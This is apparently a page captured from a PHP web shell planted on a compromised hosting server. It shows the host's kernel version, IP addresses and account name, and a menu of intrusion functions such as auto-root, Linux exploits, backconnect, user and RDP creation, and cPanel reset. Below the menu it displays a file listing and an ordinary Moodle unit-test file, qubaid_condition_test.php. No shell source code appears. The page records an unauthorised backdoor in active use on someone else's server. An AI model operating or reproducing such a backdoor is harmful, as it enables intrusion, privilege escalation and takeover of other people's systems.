Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.100.65
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
engine /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
datalib_reporting_queries_test...
12.98
KB
-rw-r--r--
datalib_test.php
11.34
KB
-rw-r--r--
helpers.php
53.31
KB
-rw-r--r--
qubaid_condition_test.php
6.2
KB
-rw-r--r--
questionattempt_db_test.php
15.43
KB
-rw-r--r--
questionattempt_test.php
4.47
KB
-rw-r--r--
questionattempt_with_steps_tes...
7.4
KB
-rw-r--r--
questionattemptiterator_test.p...
3.61
KB
-rw-r--r--
questionattemptstep_db_test.ph...
4.41
KB
-rw-r--r--
questionattemptstep_test.php
4.77
KB
-rw-r--r--
questionattemptstepiterator_te...
4.09
KB
-rw-r--r--
questionbank_test.php
5.07
KB
-rw-r--r--
questionengine_test.php
6.77
KB
-rw-r--r--
questionstate_test.php
8.72
KB
-rw-r--r--
questionusage_autosave_test.ph...
30.04
KB
-rw-r--r--
questionusagebyactivity_data_t...
9.27
KB
-rw-r--r--
questionusagebyactivity_test.p...
5.76
KB
-rw-r--r--
questionutils_test.php
9.83
KB
-rw-r--r--
unitofwork_test.php
25.8
KB
-rw-r--r--
walkthrough_test.php
2.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : qubaid_condition_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains tests for some of the code in ../datalib.php. * * @package moodlecore * @subpackage questionengine * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once(__DIR__ . '/../lib.php'); /** * Unit tests for qubaid_condition and subclasses. * * @copyright 2009 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class qubaid_condition_testcase extends advanced_testcase { protected function normalize_sql($sql, $params) { $newparams = array(); preg_match_all('/(?<!:):([a-z][a-z0-9_]*)/', $sql, $named_matches); foreach($named_matches[1] as $param) { if (array_key_exists($param, $params)) { $newparams[] = $params[$param]; } } $newsql = preg_replace('/(?<!:):[a-z][a-z0-9_]*/', '?', $sql); return array($newsql, $newparams); } protected function check_typical_question_attempts_query( qubaid_condition $qubaids, $expectedsql, $expectedparams) { $sql = "SELECT qa.id, qa.maxmark FROM {$qubaids->from_question_attempts('qa')} WHERE {$qubaids->where()} AND qa.slot = :slot"; $params = $qubaids->from_where_params(); $params['slot'] = 1; // NOTE: parameter names may change thanks to $DB->inorequaluniqueindex, normal comparison is very wrong!! list($sql, $params) = $this->normalize_sql($sql, $params); list($expectedsql, $expectedparams) = $this->normalize_sql($expectedsql, $expectedparams); $this->assertEquals($expectedsql, $sql); $this->assertEquals($expectedparams, $params); } protected function check_typical_in_query(qubaid_condition $qubaids, $expectedsql, $expectedparams) { $sql = "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid {$qubaids->usage_id_in()}"; // NOTE: parameter names may change thanks to $DB->inorequaluniqueindex, normal comparison is very wrong!! list($sql, $params) = $this->normalize_sql($sql, $qubaids->usage_id_in_params()); list($expectedsql, $expectedparams) = $this->normalize_sql($expectedsql, $expectedparams); $this->assertEquals($expectedsql, $sql); $this->assertEquals($expectedparams, $params); } public function test_qubaid_list_one_join() { $qubaids = new qubaid_list(array(1)); $this->check_typical_question_attempts_query($qubaids, "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid = :qubaid1 AND qa.slot = :slot", array('qubaid1' => 1, 'slot' => 1)); } public function test_qubaid_list_several_join() { $qubaids = new qubaid_list(array(1, 3, 7)); $this->check_typical_question_attempts_query($qubaids, "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid IN (:qubaid2,:qubaid3,:qubaid4) AND qa.slot = :slot", array('qubaid2' => 1, 'qubaid3' => 3, 'qubaid4' => 7, 'slot' => 1)); } public function test_qubaid_join() { $qubaids = new qubaid_join("{other_table} ot", 'ot.usageid', 'ot.id = 1'); $this->check_typical_question_attempts_query($qubaids, "SELECT qa.id, qa.maxmark FROM {other_table} ot JOIN {question_attempts} qa ON qa.questionusageid = ot.usageid WHERE ot.id = 1 AND qa.slot = :slot", array('slot' => 1)); } public function test_qubaid_join_no_where_join() { $qubaids = new qubaid_join("{other_table} ot", 'ot.usageid'); $this->check_typical_question_attempts_query($qubaids, "SELECT qa.id, qa.maxmark FROM {other_table} ot JOIN {question_attempts} qa ON qa.questionusageid = ot.usageid WHERE 1 = 1 AND qa.slot = :slot", array('slot' => 1)); } public function test_qubaid_list_one_in() { global $CFG; $qubaids = new qubaid_list(array(1)); $this->check_typical_in_query($qubaids, "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid = :qubaid5", array('qubaid5' => 1)); } public function test_qubaid_list_several_in() { global $CFG; $qubaids = new qubaid_list(array(1, 2, 3)); $this->check_typical_in_query($qubaids, "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid IN (:qubaid6,:qubaid7,:qubaid8)", array('qubaid6' => 1, 'qubaid7' => 2, 'qubaid8' => 3)); } public function test_qubaid_join_in() { global $CFG; $qubaids = new qubaid_join("{other_table} ot", 'ot.usageid', 'ot.id = 1'); $this->check_typical_in_query($qubaids, "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid IN (SELECT ot.usageid FROM {other_table} ot WHERE ot.id = 1)", array()); } public function test_qubaid_join_no_where_in() { global $CFG; $qubaids = new qubaid_join("{other_table} ot", 'ot.usageid'); $this->check_typical_in_query($qubaids, "SELECT qa.id, qa.maxmark FROM {question_attempts} qa WHERE qa.questionusageid IN (SELECT ot.usageid FROM {other_table} ot WHERE 1 = 1)", array()); } }
Close